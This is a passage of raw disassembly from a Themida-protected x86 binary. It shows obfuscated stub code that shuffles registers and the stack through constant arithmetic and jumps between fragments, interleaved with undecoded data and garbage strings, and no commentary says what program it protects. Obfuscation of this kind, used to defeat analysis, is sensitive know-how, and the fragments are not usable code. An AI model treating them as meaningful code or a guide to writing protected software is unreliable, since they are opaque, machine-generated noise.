84E9240Ch dd 1000039h, 7CCFE9DFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5452B2: ; CODE XREF: Themida_:00545ACEj or edx, eax shl edx, 1 push dword ptr [edi+24h] push eax mov eax, 0FFFFFFFFh sub esp, 4 mov [esp], ecx push esp pop ecx push 0F41h mov [esp], esi mov esi, 7071523h push esi inc dword ptr [esp] jmp loc_55754B ; --------------------------------------------------------------------------- dword_5452E0 dd 24048B66h, 515F5457h, 8E82E9h, 8BF88800h, 0C481241Ch ; DATA XREF: Themida_:00543014o dd 4, 5866C300h, 0B5DEE9h, 2A576800h, 9E90000h, 81FFFFE4h dd 4ECh, 241C8900h, 0DE88CB88h, 0A730E9h, 0A74BF00h, 0EF8115B0h dd 29170DD1h, 874BDF87h, 83CF81DFh, 816AE705h, 9F3DFEC7h dd 5FFD314Ah, 0BD0BE9h, 24248B00h, 0FF2434FFh, 565A2434h dd 0BF57E689h dword_545350 dd 72016A98h, 365EBA52h, 0BE561138h, 1D432E29h, 7408E9h ; DATA XREF: ___:off_43664Co dd 0FCF38100h, 29E19D38h, 0F3015BDEh, 8D57E95Eh, 0D1F70000h dd 44E0C181h, 0E9C14018h, 0F3F18103h, 0C1384F6Dh, 0E98102E1h dd 7C68ADD3h, 5AC0E9h, 4875600h, 87D0F724h, 0E95E2404h dd 0BA7Fh, 0E1BAC281h, 0E981835Eh, 0E107A16h, 0C181D101h dd 0E107A16h, 8324148Bh, 895004C4h, 0E9E955E0h, 0B8FFFFECh dd 4A07512Bh, 10B44E9h, 87048F00h, 0FFDEC2E9h db 0FFh ; --------------------------------------------------------------------------- loc_5453D9: ; CODE XREF: Themida_:00544BD0j sub ebx, 69DAFC80h jmp loc_5476F5 ; --------------------------------------------------------------------------- loc_5453E4: ; CODE XREF: Themida_:0054D4C8j mov [esp], edi mov edi, 29861677h shl edi, 3 or edi, 0B005F83h jmp loc_553DD1 ; --------------------------------------------------------------------------- loc_5453FA: ; CODE XREF: Themida_:00556BA0j pop dword ptr [esp] pop esp jmp loc_545AE0 ; --------------------------------------------------------------------------- loc_545403: ; CODE XREF: Themida_:0054C75Fj push edi mov edi, 4C5901B1h mov ebx, 0B3A6FE53h add ebx, edi pop edi add ecx, ebx pop ebx jmp loc_54D48D ; --------------------------------------------------------------------------- loc_545419: ; CODE XREF: Themida_:005544C3j add ebp, 4 push ebx push ecx mov ecx, 4 push eax mov eax, ecx mov ebx, eax pop eax jmp loc_54C4B4 ; --------------------------------------------------------------------------- aEcsc6 db '╦\',1Bh,'╔cИ≈6',0 dw 8100h dd 2F6B02EBh, 51EB013Bh, 2F6B02B9h, 59CB013Bh, 0DCD2E9h db 0 ; --------------------------------------------------------------------------- loc_545451: ; CODE XREF: Themida_:00551F29j pop eax shr edi, 7 jmp loc_555E4D ; --------------------------------------------------------------------------- loc_54545A: ; CODE XREF: Themida_:0054F03Aj add esp, 4 push edx mov edx, 649E3490h sub esp, 4 jmp loc_553B70 ; --------------------------------------------------------------------------- db 0F7h, 0D2h, 42h dd 8103EAC1h, 85BBFCF2h, 5AD00161h, 5C6BE9h, 1237BA00h dd 814A77E7h, 0D63047F2h, 81DAF721h, 3777BECAh, 583EE917h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54549E: ; CODE XREF: Themida_:0054F3B0j sub edx, 23AE097Ch sub edx, 0EDF1DA0h add edx, 550C6714h jmp loc_548665 ; --------------------------------------------------------------------------- db 68h, 61h, 3Ah dd 815A6FBEh, 49515FEAh, 0E9DAF722h, 0FFFFFFA9h, 5C243C33h dd 10285E9h, 42D00h, 0E9E90000h db 6Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_5454DB: ; CODE XREF: Themida_:0054DDE0j mov [esp], esi push edx push 0A830A95h pop edx sub edx, 23762D9Fh jmp loc_55241D ; --------------------------------------------------------------------------- dd 8B240487h, 3C892424h, 53E78924h, 4BBh, 8BDF0100h, 0C483241Ch dd 6942E904h, 9DBA0000h, 2911B911h, 8B042454h, 0C4812414h dd 4, 20B168h, 24348900h, 463BB850h, 0B1E94AB5h, 83000040h dd 0E98104C4h, 4, 126B68h, 240C8900h, 42474FFh, 81240C8Bh dd 4C4h, 0BC3E900h db 1, 0 word_545556 dw 8B66h ; DATA XREF: Themida_:0054321Co dd 69682404h, 89000077h, 0FF542434h, 815E2434h, 4C4h, 4EC8300h dd 50240C89h, 0AA528AB8h, 58C18929h, 5001E983h, 6118CBB8h dd 48B8355Eh, 0C53535B1h, 959EB07h, 0C98158C1h, 444B3EDEh dd 3BA1BE56h, 0E6C11548h, 6BE0E905h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5455A6: ; CODE XREF: Themida_:0054D1FEj mov esi, 0FFFFFFFFh sub ebp, esi pop esi inc ebp shr ebp, 4 sub ebp, 58D3BD4h add ecx, ebp mov ebp, [esp] add esp, 4 jmp loc_5565AA ; --------------------------------------------------------------------------- db 0C1h, 0E3h, 2 dd 0C4C1E9h, 80C50500h, 0F7969876h, 0E8D196DEh, 0FFA9D705h dd 0E9C301DFh, 9FC3h, 0BFh, 0E9CF2900h, 0FFFFF566h, 4EB81h dd 0E9E90000h db 0B9h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5455FB: ; CODE XREF: Themida_:00548F1Ej xchg ecx, [esp] jmp loc_54B3A3 ; --------------------------------------------------------------------------- aBMF_iSvx db '│цmЛF_┴ч[И┌X',0 dd 5DEA0100h, 8D7EE9h db 0 ; --------------------------------------------------------------------------- loc_545619: ; CODE XREF: Themida_:0054FFACj push dword ptr [esp] pop ecx jmp loc_54EE4E ; --------------------------------------------------------------------------- dw 0B850h dd 472666C8h, 1179EE9h, 6780BB00h, 0C1E9786Fh db 13h, 1, 0 ; --------------------------------------------------------------------------- loc_545637: ; CODE XREF: Themida_:00543F75j add ecx, 33032AF3h pop edx neg ecx xor ecx, 4ACF6C2Ah sub esp, 4 mov [esp], edx jmp loc_54639E ; --------------------------------------------------------------------------- aNbSkf db '╜│фSK■',0 ; DATA XREF: Themida_:005430ACo db 50h dd 0AA0401B8h, 39E94854h, 50000035h, 4DA2BD55h, 0D1E947DCh dd 810000A8h, 7353B0EFh, 7F9AE967h, 0D1F70000h, 0A811BB53h dd 0D931B8E0h, 59CD295Bh, 0E5D1DDF7h, 0C69CE9h, 4C48100h dd 0C1000000h, 0C14F03EFh, 0E7C108EFh, 10B4E907h db 1, 0 ; --------------------------------------------------------------------------- loc_5456AA: ; CODE XREF: Themida_:00551BB8j push edx not dword ptr [esp] pop edx sub esp, 4 mov [esp], ebx mov ebx, 175610F1h or edx, ebx pop ebx shl edx, 8 sub edx, 942E4EBh xor esi, edx jmp loc_54C464 ; --------------------------------------------------------------------------- dd 1A79C581h, 0ED8129E9h, 13DB1A08h, 83243C8Bh, 6EBA04C4h dd 0E930323Ch, 3114h ; --------------------------------------------------------------------------- loc_5456EC: ; CODE XREF: Themida_:0054C032j pop ebp add ebp, 4 add ebp, 4 jmp loc_5434BA ; --------------------------------------------------------------------------- loc_5456FB: ; CODE XREF: Themida_:00546188j add esi, 686D2DC6h sub esi, edi jmp loc_543B77 ; --------------------------------------------------------------------------- dd 8BC6015Eh, 0C4832404h, 24348704h, 7DDCE9h, 815E5A00h dd 853C97C2h, 7411E909h, 0C3810000h, 4, 4EB81h, 1C870000h dd 4895C24h, 1C32B824h, 0C14865ECh, 484806E8h, 41B5E405h dd 0F1DEE966h, 0C181FFFFh, 4, 627E9h, 0D3665C00h, 0E99C240Ch dd 0FFFFDB37h, 0E751FE2Dh, 0DD890519h, 0C12948D3h, 33BD5558h dd 810B4009h, 0EA4100EFh, 0E9EF293Fh, 5369h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_557D73 ; --------------------------------------------------------------------------- dd 4C681h, 0FF560000h, 5E042474h, 5C24048Fh, 136B68FDh dd 0D7E970E9h, 0F70000F0h, 360D25D8h, 0D8F7622Bh, 0FE17E948h dd 48BFFFFh, 4C48324h, 4C481h, 0E9530000h, 8347h, 17E2EA81h dd 0EA81D369h, 243E59B5h, 3EAFC281h, 0E2810410h, 28C800BBh dd 1ED3C281h, 0D8E95A41h, 0C1000094h, 0F18106E9h, 1C111E7Dh dd 5659C831h, 0C681E689h, 4, 4B850h, 0C6290000h, 24348758h dd 8924248Bh, 65E9243Ch, 55FFFFE8h, 8DE95D54h, 87000015h dd 1AE92414h db 0FBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_545827: ; CODE XREF: Themida_:00550D89j push ecx jmp loc_554886 ; --------------------------------------------------------------------------- db 31h, 0C2h, 31h dd 0E9C231D0h, 0FFFFE8C3h ; --------------------------------------------------------------------------- loc_545838: ; CODE XREF: Themida_:005530F1j mov esi, 76F25960h xor esi, 2C74657Bh push edi mov edi, 3C2B0ADCh shr edi, 6 add edi, 1 xor edi, 5A769033h xor esi, edi pop edi add ebp, esi push dword ptr [esp] pop esi add esp, 4 xchg ebp, [esp] mov esp, [esp] or edx, eax shl edx, 1 push esi push 3163h mov [esp], eax push 6B59h mov [esp], ebx jmp loc_54AA28 ; --------------------------------------------------------------------------- dword_545884 dd 24048B66h, 4577E9h, 81DDF700h, 0FAE1A1F5h, 5DE801D6h ; DATA XREF: Themida_:00543184o dd 0A1A5E9h, 0E9DBF700h, 13D6h, 0F580D5F6h, 59EE28ABh dd 0C058E680h, 0D6F603E6h, 804ACE80h, 0F088BAC6h, 8068B35Ah dd 0C3002BC3h, 4133E9h, 0E9535800h, 11D0h, 83243C8Bh, 0FF5604C4h dd 8B042474h, 0C4812434h, 4, 8B24048Fh, 4012424h, 0FBE99C24h dd 5A0000A3h, 4EC81h, 2C890000h, 31E95424h, 560000BBh dd 947B7BBEh, 5EF12979h, 8324348Bh, 0C8704C4h, 24248B24h dd 9C240CFFh, 88CE9h db 0 ; --------------------------------------------------------------------------- loc_545921: ; CODE XREF: Themida_:00555C8Fj push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] or edx, eax shl edx, 1 push edx mov edx, esp add edx, 4 jmp loc_54FB4A ; --------------------------------------------------------------------------- db 50h dd 0E95E5856h, 10D01h ; --------------------------------------------------------------------------- loc_545948: ; CODE XREF: Themida_:0055470Aj mov eax, 4 jmp loc_546753 ; --------------------------------------------------------------------------- loc_545952: ; CODE XREF: Themida_:00546F44j or esi, 5EFC6D00h neg esi not esi sub esi, 41165F2Ah jmp loc_54C6C4 ; --------------------------------------------------------------------------- aHdddjsm2 db 'h└DDJИ╛2',0 db 0 byte_545971 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00543008o aQiss db '$Q┴АИу&',0 dd 0EA815B00h, 6189387Dh, 4AA7E281h, 9FE97D3Eh, 810000C5h dd 4ECh, 240C8900h, 966E957h, 0E95C0001h, 3B83h ; --------------------------------------------------------------------------- loc_5459A4: ; CODE XREF: Themida_:00546E55j add esp, 4 loc_5459A7: ; CODE XREF: Themida_:00548E9Ej push 49CAh mov [esp], ebx jmp loc_54762D ; --------------------------------------------------------------------------- loc_5459B4: ; CODE XREF: Themida_:005565A5j mov edi, esp add edi, 4 add edi, 4 jmp loc_54C352 ; --------------------------------------------------------------------------- loc_5459C7: ; CODE XREF: Themida_:00543699j mov ecx, [esp] push ebp push esp pop ebp push edi mov edi, 2102716h or edi, 736124C0h not edi shr edi, 6 neg edi xor edi, 0FDCDC4A4h add ebp, edi pop edi add ebp, 4 xchg ebp, [esp] pop esp jmp loc_54367C ; --------------------------------------------------------------------------- dd 0CA44E3BFh, 0DED815Ah, 145851Dh, 0B56E9FDh db 2 dup(0) ; --------------------------------------------------------------------------- loc_545A0A: ; CODE XREF: Themida_:00554658j add ebp, 33F97087h add ebp, edi push 5AE1h mov [esp], edx mov edx, 33F97087h sub ebp, edx pop edx add ebp, 71495D80h jmp loc_5582A4 ; --------------------------------------------------------------------------- db 53h, 0B7h, 0A1h dd 8054CF80h, 0FAE901EFh db 16h, 2 dup(0) ; --------------------------------------------------------------------------- loc_545A3B: ; CODE XREF: Themida_:0054D9DEj and eax, 7FC16C8Fh xor eax, 7E2E354Dh and edi, eax pop eax push esi push ebp mov ebp, 21060040h mov esi, ebp pop ebp sub edi, esi jmp loc_5471A5 ; --------------------------------------------------------------------------- loc_545A59: ; CODE XREF: Themida_:005539EFj xchg eax, [esp] jmp loc_54C39C ; --------------------------------------------------------------------------- loc_545A61: ; CODE XREF: Themida_:005519E7j mov [esp], ecx mov ecx, 7AD33C51h add [esp+4], ecx pop ecx jmp loc_54B0B6 ; --------------------------------------------------------------------------- db 0BBh dd 21980451h, 2DD5F381h, 0EBC1629Fh, 0A9A9E902h, 3C8B0000h dd 4C48124h, 0E9000000h, 0FFFFF499h, 0E9DDF75Fh, 36D3h dd 68243C89h, 3F39h, 0BA241489h, 18476160h, 815AD789h dd 476164F7h, 0B2EE8118h, 0E9582356h, 10E80h, 52ADE981h dd 0F9013009h, 3A23E9h db 0 ; --------------------------------------------------------------------------- loc_545ACD: ; CODE XREF: Themida_:0054C5FCj pop ebx jmp loc_5452B2 ; --------------------------------------------------------------------------- loc_545AD3: ; CODE XREF: Themida_:0054AAB4j push 6674h mov [esp], ecx jmp loc_54EFFB ; --------------------------------------------------------------------------- loc_545AE0: ; CODE XREF: Themida_:005453FEj mov [esp], ebx push esp pop ebx push edi mov edi, 4 push 5D38h mov [esp], esi mov esi, 400178F4h sub ebx, 71A8702Dh sub ebx, esi jmp loc_54B88E ; --------------------------------------------------------------------------- loc_545B05: ; CODE XREF: Themida_:00549079j mov ebx, esp add ebx, 4 jmp loc_54C5F3 ; --------------------------------------------------------------------------- loc_545B12: ; CODE XREF: Themida_:0055129Aj pop ecx mov esi, 33F65D6h xor esi, ecx pop ecx xor [esp+4], esi push dword ptr [esp] push dword ptr [esp] pop esi add esp, 4 jmp loc_549E73 ; --------------------------------------------------------------------------- loc_545B2E: ; CODE XREF: Themida_:005490CAj sub cl, 1 dec cl jmp loc_54B4B0 ; --------------------------------------------------------------------------- dword_545B38 dd 24048B66h, 2FEFE9h ; DATA XREF: Themida_:00543194o db 0 ; --------------------------------------------------------------------------- loc_545B41: ; CODE XREF: Themida_:00553B23j sub eax, edx mov edx, [esp] add esp, 4 add eax, edi add eax, 448D3D16h pop edi jmp loc_5446BA ; --------------------------------------------------------------------------- loc_545B56: ; CODE XREF: Themida_:005471ACj sub esi, 148F7223h sub esi, eax jmp loc_544A8D ; --------------------------------------------------------------------------- aIFAsv db '┬ыf[─И┌',0 db 0C8h dd 0D00459h, 2CD02CF8h, 5B9004ACh, 0D800792Ch, 0BEBBE9h dd 240C8B00h, 4C481h, 0C6810000h, 4E2E6524h, 0EE81D601h dd 4E2E6524h, 8124148Bh, 4C4h, 354FE900h, 0EAD10000h, 3E69E9h dd 2434FF00h, 0E924048Bh, 4269h, 4C181h, 0BA520000h, 26719C6h dd 45A5C281h, 0EA812556h, 5D7E4362h, 8904EC83h, 0D6B9240Ch dd 8130DA19h, 0A56781EAh, 81CA0164h, 0A56781C2h, 0E9555964h dd 108EDh ; --------------------------------------------------------------------------- loc_545BF0: ; CODE XREF: Themida_:00556D65j pop esi xchg ebp, [esp] pop esp add esp, 4 push ecx push 3FB0h push esp pop dword ptr [esp] jmp loc_544FF1 ; --------------------------------------------------------------------------- aPsT db 'PИ',7,'Б',0 align 10h loc_545C10: ; CODE XREF: Themida_:005446C6j push 28556688h pop esi sub esi, 68B562C6h or esi, 272E7F5Ah jmp loc_556121 ; --------------------------------------------------------------------------- db 33h dd 8B5C241Ch, 8957240Ch, 4EC83E7h, 0BA241489h, 5B67474Ch dd 611EA81h, 81423B27h, 0BFBEC8C2h, 64EF81DFh, 0E912FF34h dd 2CA9h ; --------------------------------------------------------------------------- loc_545C54: ; CODE XREF: Themida_:00546E9Cj pop edi not ebx jmp loc_557A3A ; --------------------------------------------------------------------------- dd 4C781h, 0C7830000h, 243C8704h, 10959E9h, 0E7895700h dd 10ED2E9h, 241C8700h, 2404335Ch, 0CE29E9h db 0 ; --------------------------------------------------------------------------- loc_545C81: ; CODE XREF: Themida_:005460FFj add eax, edi pop edi jmp loc_5539EC ; --------------------------------------------------------------------------- db 54h, 5Ah, 81h dd 4C2h, 4B85000h, 1000000h, 2434FFC2h, 0E7895758h, 4C781h dd 0C7830000h, 243C8704h, 9E9525Ch, 8700000Fh, 0E95C241Ch dd 0FFFFD5DFh, 77C9BB53h, 0C3817A05h, 0DF82A907h, 2429E9h db 0 ; --------------------------------------------------------------------------- loc_545CCD: ; CODE XREF: Themida_:0054E09Ej sub ebx, 44CD430Bh add ecx, ebx pop ebx add edx, ecx pop ecx push ebx mov ebx, 15F1BA82h sub edx, ebx jmp loc_552CD7 ; --------------------------------------------------------------------------- dw 0B951h dd 0F01F1DC8h, 9C06E9h db 0 ; --------------------------------------------------------------------------- loc_545CF1: ; CODE XREF: Themida_:005517C1j add ebx, 391F078Ah add ebx, edx sub ebx, 391F078Ah jmp loc_5514BE ; --------------------------------------------------------------------------- loc_545D04: ; CODE XREF: Themida_:0054488Cj mov [esp], edi mov edi, 35A42592h add [esp+4], edi pop edi mov ecx, [esp] add esp, 4 push 42CEh mov [esp], edi jmp loc_554475 ; --------------------------------------------------------------------------- dd 7830BB53h, 0DA8966EAh, 8BD6295Bh, 0ADE92414h, 0BD0000F7h dd 3CA834AAh, 2E86E581h, 0CD81185Ah, 2D6067DAh, 8107EDC1h dd 852F35C5h, 0C2C381FFh, 134D078h, 0A4CE9EBh, 7050000h dd 124FF38h, 38072DD8h, 61E924FFh, 810000F6h, 0C30026C5h dd 27F58102h, 0E9140263h, 3D49h, 5C240C87h, 0EC8CE950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_545D8A: ; CODE XREF: Themida_:0054A82Ej pop esi jmp loc_549580 ; --------------------------------------------------------------------------- dd 8105E3C1h, 1831BEEBh, 52E981A4h, 167D966h, 0E38953D9h dd 0FFF97DE9h, 0DBE981FFh, 0E9574C4Eh, 115D1h, 8702C583h dd 0E95C242Ch, 10F0Bh dword_545DC0 dd 24048B66h, 8904EC83h, 0E189240Ch, 389168h, 243C8900h ; DATA XREF: Themida_:00543024o dd 56555351h, 50191668h, 90CFE96Ch, 0C7810000h, 4, 5C243C87h dd 3EE268h, 24148900h, 61E9E289h db 0EEh, 2 dup(0) byte_545DFB db 0ADh ; DATA XREF: Themida_:0054310Co dd 207F83h, 982D840Fh, 97680000h, 89000029h, 2EBB241Ch dd 11DDF1Dh, 2434FFDEh, 4C4815Bh, 81000000h, 0DF738BC6h dd 0A9EE8104h, 1084827h, 0A9C681C6h, 81084827h, 0DF738BEEh dd 3F685304h, 8900005Ch, 0BB532404h, 54307287h, 2646E9h db 0 ; --------------------------------------------------------------------------- loc_545E4D: ; CODE XREF: Themida_:0054E102j mov ebp, esp push eax mov eax, 62915FD8h or eax, 6233630h dec eax shl eax, 7 xor eax, 59BFFB84h jmp loc_55379E ; --------------------------------------------------------------------------- loc_545E68: ; CODE XREF: Themida_:00544FD6j push dword ptr [esp] jmp loc_55549F ; --------------------------------------------------------------------------- dd 0FD42E959h, 20E9FFFFh, 0C1FFFFD4h, 0D2F707EAh, 5421EA81h dd 0EA813EF2h, 0C0C09FBBh, 0D9E9D601h, 0BD000103h, 68C0749h dd 0BE56h, 0F4E90000h, 3100008Ch, 77E9241Ch db 0F1h, 2 dup(0) byte_545EAB db 83h ; DATA XREF: Themida_:0054318Co db 0ECh, 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 jmp loc_546E6B ; --------------------------------------------------------------------------- loc_545ECD: ; CODE XREF: Themida_:0054F85Fj shl ebx, 1 or ebx, 5B913A14h sub esp, 4 jmp loc_5517E3 ; --------------------------------------------------------------------------- db 89h, 3Ch, 24h dd 0A5EDABFh, 7EFC10Bh, 24348757h, 3487D6F7h, 0C7815F24h dd 13524B6Fh, 8B5FF829h, 8953241Ch, 4C381E3h, 81000000h dd 4C3h, 241C8700h, 0DACEE9h, 4C48300h, 8704C583h, 0ACE9242Ch dd 8900000Dh, 4C381E3h, 57000000h, 4BFh, 0E9FB0100h, 0F464h dd 0BCCF84BBh, 5BDA015Ah, 98B3E9h, 241C8900h, 0CAE9E389h db 0DDh, 2 dup(0) ; --------------------------------------------------------------------------- loc_545F4F: ; CODE XREF: Themida_:00548F52j mov [esp], ecx push edx mov dl, 94h mov cl, dl pop edx sub cl, 90h sub bl, 0 jmp loc_54E145 ; --------------------------------------------------------------------------- loc_545F63: ; CODE XREF: Themida_:0054B3B5j or ch, 21h jmp loc_547948 ; --------------------------------------------------------------------------- db 1 dd 1EBB53DAh, 0F7000A3Ah, 0BD554BDBh, 23EA699Ah, 1F0FED81h dd 0EB01AD58h, 5BDA015Dh, 7892EA81h, 875B1775h, 248B2414h dd 2404D224h, 0D2FDE99Ch, 815AFFFFh, 1F4877EAh, 0FA01596Bh dd 0DE93E953h, 0C3250000h, 0E910A91Ch, 3842h, 5304E7C1h dd 0B60704BBh, 51C38161h, 1FA9D16h, 78E95BDFh, 680000EEh dd 51C77632h, 5AD3015Ah, 8904EC83h, 0E951243Ch, 10EEBh dword_545FE4 dd 81D830ACh, 4ECh, 240C8900h, 0E9C08DB1h, 0C0C9FE06h ; DATA XREF: Themida_:0054316Co dd 0EC8102E1h, 4, 0B3241C89h, 5BD930CBh, 1D6F6866h, 240C8966h dd 1242C80h, 0EC815966h, 4, 0E9240489h, 0FFFFFA09h, 0D105C829h dd 59421975h, 0F04F8525h, 2114053Dh, 0E02D5D86h, 0C14D2635h dd 9D3504E8h, 90327CDh, 6E14E9C7h, 0E9590000h, 0B3B8h dd 4BAh, 5AD08900h, 0D35EE9h db 0 byte_54605D db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:005431ACo dd 4B82BE56h, 44817F1Ah, 16430424h, 44816DD5h, 72ED0424h dd 74012074h, 0BA520424h, 207472EDh, 8245429h, 0EBFE95Ah dd 4890000h, 64BE924h db 2 dup(0) word_546092 dw 77FFh ; DATA XREF: Themida_:00543054o dd 142C683Ch, 3C890000h, 0AE6AE924h, 98BF0000h, 4F5CF848h dd 0C781D7F7h, 3BA033BFh, 18E9D7F7h, 80000004h, 0EC83FFC3h dd 4896602h, 20D0B424h, 0E95866E3h, 109CBh, 8058C628h dd 29E971C6h, 330000EAh, 31E92434h db 0E1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5460DF: ; CODE XREF: Themida_:00550402j push ecx push 3854h mov [esp], esi mov esi, 427E63E3h shr esi, 5 push eax mov eax, esp push edi mov edi, 0C777410h sub edi, 0C77740Ch jmp loc_545C81 ; --------------------------------------------------------------------------- loc_546104: ; CODE XREF: Themida_:0054B512j not ecx dec ecx jmp loc_54A189 ; --------------------------------------------------------------------------- aIRrits db '┴$$RR┴БИ|',1Bh,0 align 4 loc_546118: ; CODE XREF: Themida_:0055605Aj pop ebx pop dword ptr [esp] mov esp, [esp] pop dword ptr [esp] not edx xor [esp], edx xor edx, [esp] xor [esp], edx push dword ptr [esp] pop eax push ebx jmp loc_543D1E ; --------------------------------------------------------------------------- db 0B5h dd 95B252B2h, 0C05AD508h, 0EE6804EDh, 89000007h, 18B02404h dd 0C500E704h, 7EDC058h, 0ED80CDFEh, 0FFEB2893h, 57592434h dd 0C781E789h, 4, 8704C783h, 248B243Ch, 50C32824h, 0EC832EB4h dd 0EDEDE902h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54617E: ; CODE XREF: Themida_:0054E051j mov edi, 7D9B5F2Eh mov esi, 0B242D991h jmp loc_5456FB ; --------------------------------------------------------------------------- loc_54618D: ; CODE XREF: Themida_:005557B7j not ebx xchg ebx, [esp] pop ebx push ebp mov ebp, 933E1512h sub ebx, ebp pop ebp and edi, ebx jmp loc_5520C6 ; --------------------------------------------------------------------------- db 0B8h dd 2, 2161E9h, 0D0E9E900h, 489FFFFh, 1943E924h, 0C7880001h dd 1C8BFA88h, 4C48324h, 8124048Bh, 4C4h, 2C8A0400h, 3CFFE9D8h db 2 dup(0) word_5461D6 dw 478Fh ; DATA XREF: Themida_:00543100o dd 0D0BDE940h, 0F381FFFFh, 3AAC42BEh, 0E2D9C381h, 0D1E92BEFh dd 5800006Eh, 0FFE031E9h, 80D7F6FFh, 0C780ADCFh, 5BF828CDh dd 0DEB55166h, 0E8005004h, 8B66502Ch, 0C481240Ch, 2, 0F9B25266h dd 1E9D028h, 54000089h, 0B156E9h, 2C8B5400h, 4C48124h dd 68000000h, 1073h, 56241489h, 468h, 24348B00h, 4C481h dd 0F2890000h, 5E2434FFh, 4C481h, 0FCE90000h, 40000DBh dd 0C2685A08h, 89000069h, 60B1240Ch, 0D4B25266h, 7033E9h db 0 ; --------------------------------------------------------------------------- loc_54626D: ; CODE XREF: Themida_:0054F793j push eax push ebx mov ebx, 534A6920h push edx mov edx, 2C966E1Ch add edx, 2AB200C2h or ebx, edx pop edx jmp loc_543899 ; --------------------------------------------------------------------------- dd 0E9243C33h, 0F3AEh, 29DC281h, 89E916F2h, 52FFFFE7h dd 0E953E289h, 0E61Ch, 0A3E9E389h, 0F700009Eh, 87E987D5h dd 0E9F187CEh, 0DD29h, 48D1E281h, 0EA810BD9h, 0E64A8293h dd 5CE9D121h db 0E7h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5462CB: ; CODE XREF: Themida_:0054CC86j mov [esp], ecx mov ecx, edx mov esi, ecx pop ecx jmp loc_54F787 ; --------------------------------------------------------------------------- dd 0E95DEF31h, 0FFFFFCD8h, 2436C781h, 0D7017F8Ah, 2436EF81h dd 835A7F8Ah, 3C8704C7h, 24248B24h, 2474FF51h, 48F5904h dd 24248B24h, 0E9240C89h, 0FFFFCF8Fh, 335BDF01h, 0C1E9243Ch dd 50000D6h, 423E0F14h, 142DF001h, 8B423E0Fh, 0C4832434h dd 1C46E904h, 565E0001h, 0E7E9E689h, 570000D8h, 0FFFD65E9h db 0FFh ; --------------------------------------------------------------------------- loc_54633D: ; CODE XREF: Themida_:00555FCDj xor edx, 0FE46F0Eh add ebx, edx pop edx not ebx xor ebx, 0EED915F0h mov edi, ebx jmp loc_554651 ; --------------------------------------------------------------------------- db 4Dh, 81h, 0EDh dd 3FD4EA9h, 895DEE89h, 7C015EF7h, 3C8B0424h, 4C48324h dd 2AEF685Fh, 34890000h, 9CBB5324h, 530D3F44h, 5B2414F7h dd 0F381D3F7h, 0D3F4498h, 815BDE89h, 796705C7h, 81F70154h dd 796705EFh, 487DE954h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54639E: ; CODE XREF: Themida_:0054564Fj push esi push 175D0263h jmp loc_54E30F ; --------------------------------------------------------------------------- db 83h, 0EDh, 1 dd 3AC5814Dh, 89FF7DEEh, 0DD015DEBh, 83241C8Bh, 1E904C4h dd 810000A4h, 0FE0004F5h, 5DEB89A3h, 88AC681h, 0DE016679h dd 69A2E9h, 4C48100h, 81000000h, 4C3h, 4EB8100h, 0E9000000h dd 0FFFFE5A2h, 0E0A6E957h, 0C181FFFFh, 9B86160h, 0E981F901h dd 9B86160h, 19E1B850h, 0C129492Ch, 68BBE958h, 0C4830000h dd 9DE0E904h, 0E6810000h, 32581370h, 253FCE81h, 0CE81639Fh dd 828233Ch, 1A04F681h, 0F0294F90h, 0E9F8015Eh, 5A5Fh ; --------------------------------------------------------------------------- loc_54643C: ; CODE XREF: Themida_:0054B1A4j mov ebx, [esp] add esp, 4 jmp loc_5471F3 ; --------------------------------------------------------------------------- loc_54644A: ; CODE XREF: Themida_:005564C7j pop esp not edi dec edi shr edi, 4 push ebx mov ebx, 10BA4F91h not ebx xchg esi, ebx jmp loc_552F30 ; --------------------------------------------------------------------------- dd 0D143F6B9h, 46B8504Ch, 0D74CA35h, 6DAD11F2h, 0A361E9h dd 0E5C38100h, 5A41B430h, 0E904C383h, 0FFFFF7F1h dword_546484 dd 606368h, 24048900h, 8FCE9h, 241C8900h, 0B519F068h, 241C8B0Fh ; DATA XREF: Themida_:00543000o dd 7CE95453h, 29000012h, 0B87EE9D1h, 0E1810000h, 2B7908C1h dd 96FAE9h, 24248B00h, 81240C89h, 2ECh, 1C896600h, 61B36824h dd 0D0E90000h, 0C10000C6h, 0F78106E7h, 3D4334FEh, 829CE952h db 2 dup(0) word_5464DE dw 34FFh ; DATA XREF: Themida_:005430E8o aSe db '$Иeы',0 align 2 dw 14F7h dd 242C8B24h, 5E08950h, 4, 405h, 24048700h, 31EF315Ch dd 51EF31FDh, 0C181E189h, 4, 8704E983h, 895C240Ch, 74FF243Ch dd 3C8B0424h, 4C48324h, 0E924048Fh, 0FFFFCD73h, 3E1C058h dd 51CEC980h, 0FA3E9h db 0 ; --------------------------------------------------------------------------- loc_546535: ; CODE XREF: Themida_:00549C6Aj mov esp, [esp] push small word ptr [eax] jmp loc_54329B ; --------------------------------------------------------------------------- loc_546540: ; CODE XREF: Themida_:0054695Fj add ebx, edx add ebx, 5965456Ch pop edx push esi push eax push 7DDA1D13h pop eax and eax, 72113AD4h xor eax, 70101814h jmp loc_544F9D ; --------------------------------------------------------------------------- dd 1D0DC581h, 29E94585h db 0F5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54656B: ; CODE XREF: Themida_:005436AEj shl edi, 3 push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp jmp loc_5491BC ; --------------------------------------------------------------------------- db 0B8h dd 718801D4h, 992E8C2Dh, 624A0558h, 0E8C111DDh, 0FEE94007h dd 89000069h, 8FBD242Ch, 814BEE3Dh, 7B2D04EDh, 4EC8361h dd 68241489h, 495D1233h, 5AD5295Ah, 7FFCBE56h, 0FCE94142h dd 2C000024h, 665B666Ch, 